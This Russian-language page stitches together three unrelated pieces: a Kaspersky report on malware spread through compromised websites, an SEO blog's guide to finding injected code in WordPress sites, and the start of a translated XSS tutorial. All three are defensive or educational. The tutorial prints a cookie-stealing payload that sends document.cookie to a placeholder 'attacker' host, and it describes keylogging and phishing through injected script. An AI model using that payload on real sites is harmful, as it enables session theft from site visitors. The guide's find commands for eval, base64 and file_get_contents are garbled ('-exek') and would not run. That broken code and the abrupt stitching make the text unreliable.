Распространение вредоносного ПО через веб-сайты

Костин Раю, Лаборатория Касперского

Вступление. Киберпреступность: тенденции и развитие

За последние несколько лет интернет стал опасным местом. Изначально созданный для сравнительно небольшого количества пользователей, он значительно превзошел ожидания своих создателей. Сегодня в мире насчитывается более 1,5 миллиардов интернет-пользователей и их число постоянно растет по мере того, как технология становится все более доступной.

Преступники тоже заметили эту тенденцию и очень быстро поняли, что совершение преступлений с помощью интернета (теперь это получило название киберпреступления) имеет ряд существенных преимуществ.

Во-первых, киберпреступность не связана с большим риском: поскольку она не имеет геополитических барьеров, правоохранительным органам трудно ловить преступников. Более того, проведение международных расследований и ведение судебных дел стоит больших денег, поэтому такие действия, как правило, предпринимаются только в особых случаях. Во-вторых, киберпреступность - это просто: в интернете предлагается огромное количество «инструкций» по взлому компьютеров и написанию вирусов, при этом каких-либо специальных знаний и опыта не требуется. Вот два основных фактора, превратившие киберпреступность в индустрию, обороты которой исчисляются многими миллиардами долларов и которая представляет собой действительно замкнутую экосистему.

И компании, занимающиеся защитой информации, и производители программного обеспечения ведут постоянную борьбу с киберпреступностью. Их цель – обеспечить интернет-пользователям надежную защиту и создать безопасное программное обеспечение. Злоумышленники в свою очередь постоянно меняют тактику для того, чтобы противодействовать принимаемым контрмерам, что в результате привело к появлению двух выраженных тенденций.

Во-первых, размещение вредоносных программ происходит с использованием zero-day уязвимостей, т.е. уязвимостей, для которых еще не созданы патчи. С помощью таких уязвимостей могут быть заражены даже такие компьютерные системы, на которых установлены все последние обновления, но при этом нет специальных защитных решений. Zero-day уязвимости – ценный товар (их использование потенциально может привести к серьезным последствиям), он продается на черном рынке за десятки тысяч долларов.

Во-вторых, мы наблюдаем резкое увеличение количества вредоносных программ, созданных специально для кражи конфиденциальной информации с целью ее дальнейшей продажи на черном рынке: номеров кредитных карт, банковских реквизитов, паролей доступа на такие сайты, как eBay или PayPal, и даже паролей к онлайн-играм, например, к World of Warcraft.

Одной из очевидных причин такого размаха киберпреступности является ее прибыльность, которая всегда будет являться двигателем в создании новых киберпреступных технологий.

Помимо разработок, которые проводятся для нужд киберпреступников, отметим еще одну тенденцию – распространение вредоносных программ через Всемирную Паутину. После эпидемий начала нынешнего десятилетия, вызванных такими почтовыми червями, как Melissa, многие компании – производители систем информационной защиты сосредоточили свои усилия на разработке решений, которые могли бы нейтрализовать вредоносные вложения. Иногда это приводило к тому, что в сообщениях удалялись все исполняемые вложения.

Однако последнее время основным источником распространения вредоносных программ стала Сеть. Вредоносные программы размещают на веб-сайтах, а затем либо пользователей обманным путем заставляют вручную запускать их, либо эти программы с помощью эксплойтов автоматически исполняются на зараженных компьютерах.

Мы в «Лаборатории Касперского» с растущей тревогой наблюдаем за происходящим.

Статистика

Последние три года мы наблюдали за так называемыми чистыми веб-сайтами (от 100 000 до 300 000), чтобы определить, в какой момент они становились точками распространения вредоносных программ. Количество отслеживаемых сайтов постоянно росло по мере регистрации новых доменов.

В таблице приведен зарегистрированный максимальный показатель зараженности веб-страниц, отслеживаемых в течение года. Очевидно резкое увеличение доли зараженных сайтов: если в 2006 году был заражен примерно каждый сайт из двадцати тысяч, то в 2009 году оказался зараженным уже каждый сайт из ста пятидесяти. Процент зараженных сайтов колеблется в районе этой последней цифры, что может означать достижение точки насыщения: все веб-сайты, которые могли быть инфицированы, были инфицированы. Однако их число возрастает или снижается по мере обнаружения новых уязвимостей или появления новых инструментов, которые позволяют злоумышленникам заражать новые веб-сайты.

В следующих двух таблицах приведены данные по вредоносным программам, которые наиболее часто встречались на сайтах в 2008 и 2009 годах.

10 лидирующих вредоносных программ – 2008 год

10 лидирующих вредоносных программ – 2009 год

В 2008 году троянская программа Trojan-Clicker.JS.Agent.h была обнаружена в большом количестве случаев. За ней с отрывом менее 1% следует Trojan-Downloader.JS.Iframe.oj.

Страница, зараженная Trojan-Clicker.JS.Agent.h

Раскодированный троянец Trojan-Clicker.JS.Agent.h

Trojan-Clicker.JS.Agent.h – это типичный пример механизма, который использовался в 2008 году и все еще используется (в 2009 году) для внедрения вредоносного кода. На страницу добавляется небольшой фрагмент JavaScript кода, который обычно подвергается обфускации для того, чтобы затруднить анализ. В коде, приведенном на рисунке выше, обфускация просто состоит в подмене ASCII-символов, составляющих вредоносный код, их hex-кодами. После расшифровки код, как правило, представляет собой плавающий фрейм (iframe), ведущий на сайт, на котором находятся эксплойты. IP-адрес, на который ведет ссылка, может меняться, поскольку эксплойты размещаются на множестве различных сайтов. На главной странице вредоносного сайта обычно находятся эксплойты для IE, Firefox и Opera. Похожим образом действует и Trojan-Downloader.JS.Iframe.oj – вторая по частоте использования вредоносная программа.

В 2009 году было два интересных случая, когда зловредные программы распространялись через веб-страницы. В первом случае речь идет о зловреде Net-Worm.JS.Aspxor.a, впервые обнаруженном в июле 2008 года и широко распространившемся в 2009 году. Этот зловред при помощи специальной утилиты находит SQL-уязвимости на веб-сайтах, через которые внедряет вредоносные плавающие фреймы.

Другой интересный случай представляет собой вредоносная программа Gumblar. Она была названа по имени китайского домена, который использовала для распространения эксплойтов. Строка “gumblar” в подвергшемся обфускации коде JavaScript, «подброшенном» на веб-сайт, является верным признаком того, что сайт заражен.

Пример внедрения кода Gumblar в страницу веб-сайта

После деобфускации вредоносный код Gumblar выглядит следующим образом:

Декодированный код Gumblar

Домен “gumblar.cn” был закрыт, что, впрочем, не помешало киберпреступникам продолжить вредоносные атаки с новых доменов.

Способы заражения и методы распространения

В настоящее время существует три основных способа заражения сайтов вредоносными программами.

Первый популярный метод – использование уязвимостей самого веб-сайта. Например, внедрение SQL-кода, что позволяет добавить на страницы сайта вредоносный код. Инструменты атаки, такие как троянец ASPXor, наглядно демонстрируют механизм работы этого метода: их можно использовать для массового сканирования и внедрения вредоносного кода по тысячам IP-адресов одновременно. Следы таких атак часто можно видеть в журналах доступа веб-серверов.

Второй метод предполагает заражение компьютера разработчика веб-сайтов вредоносной программой, которая отслеживает создание и загрузку HTML-файлов, а затем внедряет в эти файлы вредоносный код.

Наконец, еще один метод – это заражение троянцем, ворующим пароли (таким как Ransom.Win32.Agent.ey) компьютера разработчика веб-сайтов или другого человека с доступом к учетной записи хостинга. Такой троянец обычно обращается к серверу по HTTP, чтобы передать пароли к учетным записям FTP, которые он собирает из популярных ftp-клиентов, таких как FileZilla и CuteFtp. Компонент вредоносной программы, находящийся на сервере, записывает полученную информацию в базу данных SQL. Затем специальная программа, также находящаяся на сервере, выполняет процедуру входа во все учетные записи FTP, извлекает индексную страницу, добавляет туда код, зараженный троянцем, и загружает страницу обратно.

Поскольку в последнем случае данные учетной записи у хостинг-провайдера становятся известны злоумышленникам, то часто происходят повторные заражения сайтов: разработчики веб-страниц замечают заражение сами или узнают о нем от посетителей сайта, очищают страницу от вредоносного кода, а на следующий день страница вновь оказывается зараженной.

Пример повторного заражения веб-страницы (*.*.148.240)

Другая часто встречающаяся ситуация – когда информация об одной и той же уязвимости или данные учетной записи на хостинге одновременно попадают в руки разных кибергруппировок, между которыми начинается борьба: каждая группа стремится заразить веб-сайт своей вредоносной программой. Вот пример такой ситуации:

Пример многократного заражения веб-сайта (*.*.176.6) разными вредоносными программами

11.06.2009 веб-сайт, за которым мы наблюдали, был чист. 05.07.2009 происходит заражение вредоносной программой Trojan-Clicker.JS.Agent.gk. 15.07.2009 веб-сайт оказывается зараженным другим зловредом, Trojan-Downloader.JS.Iframe.bin. Через десять дней, сайт заражен еще одной программой.

Такая ситуация встречается довольно часто: веб-сайты могут быть заражены одновременно разными вредоносными программами, код которых размещается один за другим. Такое происходит, когда данные доступа попадают в руки разных кибергруппировок.

Ниже приводится последовательность действий, которые необходимо совершить в случае, если веб-сайт заражен вредоносным кодом:

• Установить, кто имеет доступ на хостинг-сервер. Запустить проверку их компьютеров программой интернет-безопасности с актуальной базой данных. Удалить все обнаруженные вредоносные программы
• Установить новый надежный хостинг-пароль. Надежный пароль должен состоять из символов, цифр и спецсимволов, чтобы усложнить его подбор
• Заменить все зараженные файлы чистыми копиями
• Найти все резервные копии, которые могут содержать зараженные файлы, и вылечить их

Наш опыт показывает, что зараженные веб-сайты после лечения нередко подвергаются повторному заражению. С другой стороны, обычно это происходит лишь один раз: если после первого заражения веб-мастер может ограничиться относительно поверхностными действиями, в случае повторного заражения он обычно принимает более серьезные меры по обеспечению безопасности сайта.

Эволюция: размещение вредоносных программ на «чистых» веб-сайтах

Пару лет назад, когда киберпреступники стали активно использовать web для размещения вредоносных программ, они как правило действовали через так называемый абузоустойчивый хостинг или через хостинг, где они расплачивались крадеными кредитными картами. Заметив эту тенденцию, компании, работающие в области интернет-безопасности, объединили свои усилия в борьбе против недобросовестных хостинг-провайдеров, допускающих размещение вредоносных ресурсов (таких, как американский хостинг-провайдер McColo и эстонский провайдер EstDomains. И хотя сегодня еще встречаются случаи, когда вредоносные программы размещаются именно на вредоносных сайтах, расположенных, например, в Китае, где закрыть сайт по-прежнему сложно, произошел важный поворот в сторону размещения вредоносных программ на «чистых» и вполне заслуживающих доверия доменах.

Действие и противодействие

Как мы уже говорили, одним из важнейших аспектов постоянной борьбы между киберпреступниками и производителями антивирусных решений является умение быстро реагировать на то, что делает противник. Обе стороны постоянно меняют тактику борьбы и вводят в строй новые технологии, стараясь противодействовать противнику.

Большинство веб-браузеров (Firefox 3.5, Chrome 2.0 и Internet Explorer 8.0) теперь имеют встроенную защиту в виде URL-фильтра. Этот фильтр не позволяет пользователю заходить на вредоносные сайты, содержащие эксплойты для известных или неизвестных уязвимостей, а также использующие методы социальной инженерии для кражи личных данных.

Например, Firefox и Chrome используют Google Safe Browsing API, бесплатный сервис от Google для фильтрации URL-адресов. В момент написания список Google Safe Browsing API содержал около 300 000 адресов известных вредоносных веб-сайтов и более 20 000 адресов веб-сайтов, занимающихся фишингом.

Google Safe Browsing API придерживается рационального подхода к фильтрации URL-адресов: вместо того чтобы отсылать каждый URL-адрес на внешний ресурс для проверки, как это делает фишинг-фильтр в Internet Explorer 8, Google Safe Browsing проверяет URL-адреса по их контрольным суммам, вычисленным по алгоритму MD5. Чтобы такой метод фильтрации был эффективным, список контрольных сумм вредоносных адресов должен регулярно обновляться; обновления рекомендуется выполнять каждые 30 минут. Недостаток этого метода заключается в следующем: количество вредоносных веб-сайтов больше, чем количество входов в списке. Для оптимизации размера списка (сейчас он составляет около 12 МБ), туда попадают только наиболее часто встречающиеся вредоносные сайты. Это означает, что даже если вы используете приложения, поддерживающие подобные технологии, ваш компьютер по-прежнему подвергается риску заражения при посещении вредоносных сайтов, не попавших в список. В общем и целом широкое применение технологий для безопасной навигации показывает, что разработчики веб-браузеров обратили внимание на новую тенденцию распространения зловредных программ через веб-сайты и предпринимают ответные действия. По сути, веб-браузеры со встроенной защитой уже становятся нормой.

Заключение

За последние три года резко увеличилось число легитимных веб-сайтов, зараженных вредоносными программами. Сегодня количество зараженных сайтов в интернете в сто раз больше, чем три года назад. Часто посещаемые сайты привлекательны для киберпреступников, поскольку с их помощью за короткое время можно заразить большое количество компьютеров.

Веб-мастерам можно предложить несколько простых советов по поводу того, как обезопасить веб-сайты:

• Защищайте учетные записи хостинга надежными паролями
• Для загрузки файлов на серверы используйте протоколы SCP/SSH/SFTP вместо FTP – таким образом вы защититесь от пересылки паролей по интернету открытым текстом
• Установите антивирусный продукт и запустите проверку компьютера
• Имейте в запасе несколько резервных копий сайта, чтобы иметь возможность восстановить его в случае заражения.

При навигации в интернете есть несколько факторов, увеличивающих риск заражения вредоносным кодом с веб-сайта: использование пиратского ПО, игнорирование обновлений, закрывающих уязвимости в используемом ПО, отсутствие на компьютере антивирусного решения и общее незнание или неполное понимание угроз в интернете.

Пиратские программы играют значительную роль в распространении вредоносных программ. Пиратские копии Microsoft Windows, как правило, не поддерживают автоматические обновления, выпускаемые компанией Microsoft,что дает киберпреступникам возможность эксплуатировать незакрытые уязвимости в этих продуктах.

Кроме того, старые версии Internet Explorer, по-прежнему самого популярного браузера, имеют большое количество уязвимостей. В большинстве случаев Internet Explorer 6.0 без установленных обновлений незащищен от вредоносного воздействия любого вредоносного веб-сайта. В силу этого, крайне важно избегать использования пиратского ПО, особенно пиратских копий Windows.

Еще один фактор риска – работа на компьютере без установленной антивирусной программы. Даже если в самой системе установлены последние обновления, в нее может проникнуть вредоносный код через zero-day уязвимости в стороннем ПО. Обновления антивирусных программ обычно выпускаются гораздо чаще, чем патчи к программным продуктам, и обеспечивают безопасность системы в период, когда к уязвимостям в стороннем ПО еще не выпущены исправления.

И хотя для поддержания необходимого уровня безопасности важна установка обновлений для программ, немаловажную роль играет и человеческий фактор. Например, пользователь может захотеть посмотреть «интересный видеоролик», загруженный из Сети, не подозревая, что вместо ролика ему подкинули вредоносную программу. Такая уловка нередко используется на вредоносных сайтах в случае, если эксплойтам не удается проникнуть в операционную систему. Этот пример показывает, почему пользователи должны знать, какую опасность представляют интернет-угрозы, особенно те, которые связаны с социальными сетями (Web 2.0), последнее время активно атакуемыми киберпреступниками.

• Не загружайте пиратские программы
• Вовремя обновляйте все ПО: операционную систему, веб-браузеры, программы для просмотра PDF-файлов, плееры и т.д.
• Установите и всегда используйте антивирусный продукт, такой как Kaspersky Internet Security 2010
• Возьмите за правило, чтобы ваши сотрудники каждый месяц уделяли несколько часов изучению веб-сайтов, посвященных безопасности, таких как www.viruslist.com , где они смогут узнать об интернет-угрозах и методах защиты.

Наконец, помните: предупредить заражение легче, чем вылечить. Принимайте меры безопасности!

Вредоносный код - это код, который мешает нормальной работе сайта. Он может встраиваться в темы, базы данных, файлы и плагины.

Больше видео на нашем канале - изучайте интернет-маркетинг с SEMANTICA

Результатом работы вредоносного кода может стать удаление части полезного контента, или его публикация на стороннем ресурсе. Таким способом злоумышленники могут организовать кражу контента. Особенно обидно, если этому воздействию подвергся молодой ресурс с авторскими статьями. Может сложиться впечатление что это он своровал контент у более старшего ресурса.

Также вредоносный код может разместить в бесплатной теме скрытые ссылки на сторонние страницы, доступные для поисковиков. Не всегда эти ссылки будут вредоносны, но вес основного сайта гарантированно пострадает.

Общее назначение всех вредоносных кодов сводится к нарушению работы веб-страниц.

Внешне вредоносный код представляет собой хаотичный набор символов. В действительности за этой бессмыслицей скрывается зашифрованный код, содержащий последовательность команд.

Как вредоносный код попадает на сайт

Есть два способа, как на сайт может попасть вредоносный код.

1. Скачивание файлов и плагинов с сомнительных и ненадежных ресурсов. Чаще всего таким способам на сайт проникают зашифрованные ссылки. Явный код редко проникает на сайт этим путем.

2. с последующим проникновением . Этот способ считается более опасным, ведь взлом веб-страницы дает возможность передать не только "одноразовый" код, но и целые конструкции с элементами вредоносной программы (malware).

Такой код очень тяжело уничтожить, т.к. он может восстанавливаться после удаления.

Проверка сайта на вредоносный код

Следует помнить, что эти коварные конструкции могут появиться не только в активной теме, но и в любом файле ресурса. Существует несколько способов их поиска:

• Вручную. Для этого нужно сравнить содержимое всех актуальных файлов с незараженными версиями бэкапа. Все что отличается необходимо удалить.
• С помощью плагинов безопасности. В частности WordPress предлагает плагин Wordfence Security. У него есть опция сканирования файлов страницы на содержание постороннего кода.
• С помощью саппорта хостинга. Владелец сайта имеет право обратиться к ним с просьбой просканировать ресурс своим антивирусом. В результате они предоставят отчет, отражающий наличие зараженных файлов. Эти файлы можно очистить от посторонних конструкций с помощью обычного текстового редактора.
• Через SSH-доступ к сайту. Сам поиск осуществляется с помощью команд:

find /текущий каталог страницы -type f -iname "*" -exek -"eval" {} \; > ./eval.log

find /текущий каталог страницы -type f -iname "*" -exek-"base64" {} \; > ./base64.log

find /текущий каталог страницы -type f -iname "*" -exek -"file_get_contents" {} \; > ./file_get_contents.log

В результате их выполнения будет получена информация о подозрительных файлах. Перечень этих файлов запишется в лог, хранящийся в текущей директории.

• Проверка сайта на вредоносный код с помощью функции eval. Эта php-функция запускает на выполнение любой, даже зашифрованный код. В качестве одного из аргументов, на вход этой функции подается тип кодировки (как правило это base64_decode или str_rot13). Именно благодаря использованию популярных кодировок вредоносный код выглядит как бессмысленный набор латинских символов.

Открываете редактор страницы.

Копируете в буфер содержимое файла functions.php.

Вставляете его в любой текстовый редактор (блокнот).

Находите команду eval.

• Перед тем, как удалить вредоносный код, проанализируйте, какие параметры функция ожидает на вход. Т.к. параметры поступают в зашифрованном виде, их нужно расшифровать с помощью декодеков. Распознав входной параметр, вы можете принять решение о его дальнейшем нахождении в тексте файла functions.php.

Удаление вредоносного кода

После обнаружения вредоносного кода его просто необходимо удалить как обычную строку в текстовом файле.

Защита от вредоносного кода

Для того, чтобы предупредить появление вредоносного кода на сайте, необходимо соблюдать ряд профилактических мер.

Используйте только проверенное ПО:

• Загружайте дистрибутивы только из надежных источников.
• Во время запускайте обновление серверного ПО.
• Совершайте регулярный аудит системы безопасности сервера.
• Удаляйте устаревшие отладочные скрипты.

Ставьте на серверное ПО надежные пароли:

• Придумайте конструкцию из 12 символов, включающую цифры и буквы разных регистров.
• Для каждого из сервисов придумайте свой уникальный пароль.
• Меняйте свои пароли раз в 3 месяца.

Осуществляйте контроль данных, вводимых пользователями:

• Настройте фильтры HTML-разметки в полях ввода, содержимое которых попадет в код страницы.
• Организуйте серверную проверку входных данных на соответствие допустимому интервалу.
• Используйте WAF. Web Application Firewall - это мощный инструмент защиты сайта от хакерских атак.

Разграничивайте права доступа к своему ресурсу.

Заблокируйте или ограничьте доступ к инструментам администрирования движка вашего сайта и его баз данных. Кроме того, закройте доступ к файлам настроек и резервным копиям рабочего кода.

Такому проникновению вредоносного кода наиболее подвержены те сайты, на которых реализована возможность загрузки пользовательских файлов.

1. Организуйте защиту от ботов. Для этих целей многие CMS оснащены специальными плагинами;

2. Настройте проверку вводимых пользователями данных:

• Запретите вставку JavaScript-кода внутри конструкции t>.
• Ведите перечень безопасных HTML-тегов и отсеивайте конструкции, не вошедшие в этот список.
• Анализируйте ссылки, которые присылают пользователи.
• Для этого существуют специальные сервисы, например Safe Browsing API. Он позволяет проверить безопасность документа по URL.

Как предупредить случайное размещение вредоносного кода.

• Тщательно следите за используемым ПО:

Загружайте библиотеки и расширения CMS только с проверенных источников, а лучше всего с официальных сайтов.

Изучайте код нестандартных расширений, которые вы собираетесь поставить на движок своего сайта.

• Размещайте рекламу очень осторожно:

Публикуйте на своей площадке объявления, которые предлагают только надежные рекламодатели.

Старайтесь размещать на своей странице статический контент.

Остерегайтесь партнерских программ со скрытыми блоками.

И является комплексным учебником по межсайтовому скриптингу.

Часть первая: Обзор Что такое XSS?

Межсайтовый скриптинг (англ. Cross-site scripting ) — это атака нацеленная на внедрение кода, позволяющая злоумышленнику выполнить вредоносный JavaScript в браузере другого пользователя.

Злоумышленник не атакует свою жертву напрямую. Вместо этого он использует уязвимость веб-сайта который посещает жертва и внедряет вредоносный JavaScript код. В браузере жертвы вредоносный JavaScript отображается как легитимная часть веб-сайта, а сам веб-сайт выступает в качестве непосредственного соучастника атакующего.

Внедрение вредоносного JavaScript-кода

Единственный способ для атакующего запустить вредоносный JavaScript в браузере жертвы — это внедрить его в одну из страниц, которую загружает жертва с веб-сайта. Это возможно, если веб-сайт позволяет пользователям вводить данные на своих страницах, а атакующий сможет вставить строку, которая будет определятся как часть кода в браузере жертвы.

В приведенном ниже примере показан простой серверный скрипт, который используется для отображения последнего комментария на сайте:

print ""
print "Последний комментарий:"
print database.latestComment
print ""

Скрипт предполагает, что комментарий состоит только из текста. Однако, так как включен непосредственный пользовательский ввод, злоумышленник может оставить этот комментарий: "..." . Любой пользователь, посетивший страницу, теперь будет получать следующий ответ:

Последний комментарий:
...

Когда браузер пользователя загружает страницу, он будет выполнять все, в том числе JavaScript-код, содержащийся внутри тегов . Атакующий успешно провел атаку.

Что такое вредоносный JavaScript?

Возможность выполнения JavaScript в браузере жертвы может показаться не особенно вредоносной. JavaScript работает в очень ограниченной среде, которая имеет крайне ограниченный доступ к файлам пользователя и операционной системы. На самом деле, вы можете открыть консоль JavaScript в своем браузере прямо сейчас и выполнить любой JavaScript который хотите, и очень маловероятно, что вы сможете причинить какой-либо вред вашему компьютеру.

Тем не менее, возможности JavaScript-кода в качестве вредоносного становятся более понятными, если учесть следующие факты:

• JavaScript имеет доступ к некоторой конфиденциальной информации пользователя, например куки (cookies).
• JavaScript может отправлять HTTP-запросы с произвольным содержанием в произвольном направлении, используя XMLHttpRequest и другие механизмы.
• JavaScript может делать произвольные изменения в HTML-коде текущей страницы с помощью методов манипулирования DOM.

В случае комбинирования эти факты могут вызвать очень серьезные нарушения правил безопасности, подробности будут далее.

Последствия вредоносного JavaScript-кода

Кроме этого, возможность выполнить произвольный JavaScript в браузере другого пользователя позволяет злоумышленнику осуществить следующие типы атак:

Кража куки

злоумышленник может получить доступ к куки-записям жертвы, связанным с веб-сайтом, используя document.cookie , отправить их на свой собственный сервер и использовать их для извлечения конфиденциальной информации, такой как идентификаторы сеансов.

Кейлоггер

злоумышленник может зарегистрировать слушателя событий клавиатуры, используя addEventListener , а затем отправить все нажатия клавиш пользователя на свой сервер, потенциально записав конфиденциальную информацию, например, пароли и номера кредитных карт.

Фишинг

злоумышленник может вставить поддельную форму для входа на страницу, используя манипуляции DOM, установив action атрибуты формы на свой собственный сервер, а затем обмануть пользователя для получения конфиденциальной информации.

Хотя эти атаки существенно различаются, все они имеют одно существенное сходство: так как злоумышленник внедряет код на страницу обслуживаемую сайтом, вредоносный JavaScript выполняется в контексте этого веб-сайта. Это означает, что он рассматривается как любой другой сценарий с этого сайта: он имеет доступ к данным жертвы для этого веб-сайта (например куки-записи) и имя хоста отображаемое в строке URL будет то же, что и у веб-сайта. Для всех целей сценарий считается законной частью веб-сайта, что позволяет ему делать всё, что может делать сам веб-сайт.

Этот факт подчеркивает ключевую проблему:

Если злоумышленник может использовать ваш веб-сайт, для выполнения произвольного JavaScript-кода в браузере других пользователей, безопасность вашего веб-сайта и его пользователей скомпрометирована.

Чтобы подчеркнуть этот момент, некоторые примеры вредоносного скрипта в этом учебнике будут оставаться без подробностей, используя ... . Это свидетельствует о том, что простое присутствие скрипта, внедряемого атакующим является проблемой, независимо от того, какой конкретный код сценария на самом деле выполняется.

Часть вторая: XSS-атака Участники XSS-атаки

Перед тем, как подробно описать как работает атака XSS, нам необходимо определить субъектов участвующих в атаке XSS. В общем, в атаке XSS присутствует три участника: веб-сайт , жертва , и взломщик .

• Веб-сайт выдает HTML-страницы для пользователей запросивших их. В наших примерах он находится по адресу http://website/ .
  • База данных веб-сайта является базой данных, которая хранит некоторые введенные пользователями данные на страницах сайта.
• Жертва — это обычный пользователь веб-сайта, который запрашивает страницы у него с помощью своего браузера.
• Атакующий — это злоумышленник, который намеревается начать атаку на жертву за счет использования XSS-уязвимости на сайте.
  • Сервер взломщика — это веб-сервер под контролем злоумышленника с единственной целью — кража конфиденциальной информации жертвы. В наших примерах, он находится по адресу http://attacker/ .

Пример сценария атаки

window.location="http://attacker/?cookie="+document.cookie

Этот скрипт создаст HTTP-запрос на другой URL-адрес, который перенаправит браузер пользователя на сервер атакующего. URL-адрес включает в себя куки жертвы в качестве параметра запроса, когда HTTP-запрос приходит на сервер атакующего, злоумышленник может извлечь эти куки из запроса. После того, как злоумышленник получил куки, — он может использовать их, чтобы выдать себя за жертву и начать последующее нападение.

С этого момента, показанный выше HTML код будет называться вредоносной строкой или вредоносным скриптом . Важно понимать, что сама строка является вредоносной только если она, в конечном счете, обрабатывается как HTML-код в браузере жертвы, а это может произойти только в случае наличия XSS-уязвимости на веб-сайте.

Как работает этот пример атаки

На схеме ниже показан пример выполнения атаки злоумышленником:

Атакующий использует одну из форм веб-сайта для того, чтобы вставить вредоносную строку в базу данных веб-сайта.

Жертва запрашивает страницу с веб-сайта.

Сайт включает вредоносную строку из базы данных в ответ и отправляет его к жертве.

Браузер жертвы выполняет вредоносный сценарий внутри ответа, отправляя куки жертвы на сервер злоумышленника.

Типы XSS

Цель XSS-атаки всегда заключается в выполнении вредоносного JavaScript скрипта в браузере жертвы. Существует несколько принципиально различных способов достижения этой цели. XSS-атаки часто подразделяются на три типа:

• Хранимые (постоянные) XSS , где вредоносная строка берет свое начало из базы данных веб-сайта.
• Отражённые (непостоянные) XSS , где вредоносная строка порождается из запроса жертвы.
• DOM-модели XSS , где уязвимость возникает в коде на стороне клиента, а не на стороне серверного кода.

В предыдущем примере показана хранимая XSS-атака. Теперь мы опишем два других типа XSS-атак: отраженный XSS и XSS-атака DOM-модели.

Отражённый XSS

В случае отраженной XSS-атаки вредоносная строка является частью запроса жертвы к веб-сайту. Сайт принимает и вставляет эту вредоносную строку в отправляемый ответ обратно пользователю. Схема ниже иллюстрирует этот сценарий:

Жертва обманным путем атакующего отправляет URL-запрос на веб-сайт.

Сайт включает вредоносную строку из URL-запроса в ответ жертве.

Браузер жертвы выполняет вредоносный сценарий, содержащийся в ответе, посылая куки жертвы на сервер злоумышленника.

Как успешно провести отраженную XSS-атаку?

Отраженная XSS-атака может показаться безобидной, поскольку она требует чтобы жертва от своего имени отправила запрос, содержащий вредоносную строку. Так как никто не будет добровольно атаковать себя, то кажется, что не существует способа фактического выполнения атаки.

Как выясняется, есть по крайней мере два распространенных способа заставить жертву начать отраженную XSS-атаку против себя:

• Если пользователь является конкретной личностью, злоумышленник может отправить вредоносную URL-ссылку жертве (например с помощью электронной почты или мессенджера), и обманом заставить его открыть ссылку для посещения веб-сайта.
• Если цель — это большая группа пользователей, злоумышленник может опубликовать ссылку на вредоносный URL (например на своем собственном веб-сайте или в социальной сети) и ждать посетителей которые перейдут по ссылке.

Оба эти метода похожи, и оба они могут быть более успешными с использованием служб позволяющих «укоротить» URL-адрес, они замаскируют вредоносную строку от пользователей, которые могли бы идентифицировать ее.

XSS в DOM-модели

XSS в DOM-модели представляет собой вариант как хранимой и отраженной XSS-атаки. В этой XSS-атаке вредоносная строка не обрабатывается браузером жертвы, пока настоящий JavaScript веб-сайта не выполнится. Схема ниже иллюстрирует этот сценарий для отраженной XSS-атаки:

Атакующий создает URL-адрес, содержащий вредоносную строку, и отправляет его жертве.

Жертва обманным путем атакующего отправляет URL-запрос к веб-сайту.

Сайт принимает запрос, но не включает в ответ вредоносную строку.

Браузер жертвы выполняет легитимный сценарий, содержащийся в ответе, в результате чего вредоносный скрипт будет вставлен в страницу.

Браузер жертвы выполняет вредоносный скрипт, вставленный в страницу, посылая куки жертвы на сервер злоумышленника.

В чем отличие XSS в DOM-модели?

В предыдущих примерах хранимых и отраженных XSS-атак сервер вставляет вредоносный скрипт на страницу, которая затем пересылается в ответе к жертве. Когда браузер жертвы получил ответ, он предполагает, что вредоносный скрипт является частью легитимного содержания страницы, и автоматически выполняет его во время загрузки страницы, как и любой другой сценарий.

В примере XSS-атаки в DOM-модели вредоносный скрипт не вставляется как часть страницы; единственный скрипт, который автоматически выполняется во время загрузки страницы является легитимной частью страницы. Проблема заключается в том, что этот легитимный сценарий напрямую использует пользовательский ввод для того, чтобы добавить HTML на страницу. Поскольку вредоносная строка вставляется в страницу с помощью innerHTML , она анализируется как HTML, в результате чего вредоносный скрипт будет выполняться.

Это различие небольшое, но очень важное:

• В традиционном XSS вредоносный JavaScript выполняется при загрузке страницы, как часть HTML, отправленного сервером.
• В случае XSS в DOM-модели вредоносный JavaScript выполняется после загрузки страницы, в результате эта страница с легитимным JavaScript обращается небезопасным способом к пользовательскому вводу (содержащему вредоносную строку).

Как работает XSS в DOM-модели?

В предыдущем примере нет необходимости в JavaScript; сервер может генерировать все HTML сам по себе. Если код на стороне сервера не содержал бы уязвимостей, веб-сайт не был бы подвержен уязвимости XSS.

Однако, так как веб-приложения становятся более продвинутыми, все большее количество HTML-страниц генерируется с помощью JavaScript на стороне клиента, а не на сервере. В любое время контент должен изменятся без обновления всей страницы, это возможно с использованием JavaScript. В частности, это тот случай, когда страница обновляется после AJAX запроса.

Это означает, что XSS уязвимости могут присутствовать не только в серверной части кода вашего сайта, но и на стороне JavaScript-кода клиента вашего сайта. Следовательно, даже при полностью безопасном коде на стороне сервера, — клиентский код может все еще не безопасно включать ввод пользовательских данных при обновлении DOM после загрузки страницы. Если это произойдет, то код со стороны клиента позволит провести XSS-атаку не по вине кода со стороны сервера.

XSS на основе DOM-модели может быть невидим для сервера

Существует особый случай XSS-атаки в DOM-модели, в котором вредоносная строка никогда не отправляется на сервер веб-сайта: это происходит тогда, когда вредоносная строка содержится в фрагменте идентификатора URL-адреса (что-либо после символа #). Браузеры не отправляют эту часть URL-адреса на сервер, так что веб-сайт не имеет доступа к нему с помощью кода на стороне сервера. Код со стороны клиента, однако, имеет доступ к нему, и, таким образом, возможно проведение XSS-атаки путем небезопасной обработки.

Этот случай не ограничивается идентификатором фрагмента. Существует и другой пользовательский ввод, который является невидимым для сервера, например, новые функции HTML5, такие как LocalStorage и IndexedDB.

Часть третья:
Предотвращение XSS Методы предотвращения XSS

Напомним, что XSS является атакой типа внедрения кода: введенные данные пользователем ошибочно интерпретируются как вредоносный программный код. Для того, чтобы не допустить этого типа инъекции кода, требуется безопасная обработка ввода. Для веб-разработчика, существует два принципиально различных способа выполнения безопасной обработки ввода:

• Кодирование - это способ который позволяет произвести ввод данных пользователем только как данные и не позволяет браузеру обработку как кода.
• Валидация - это способ фильтрует пользовательский ввод так, что браузер интерпретирует его как код без вредоносных команд.

Хотя это принципиально разные методы предотвращения XSS, они имеют несколько общих черт, которые являются важными для понимания при использовании любого из них:

Контекст Безопасная обработка ввода должна быть выполнена по-разному в зависимости от того, где на странице используется пользовательский ввод. входящий/исходящий Безопасная обработка ввода может быть выполнена либо, когда ваш сайт получает входные данные (входящий трафик) или прямо перед тем, как сайт вставляет пользовательский ввод в содержимое страницы (исходящий). Клиент/Сервер Безопасная обработка ввода может быть выполнена либо на стороне клиента, либо на стороне сервера, каждый вариант необходим при различных обстоятельствах.

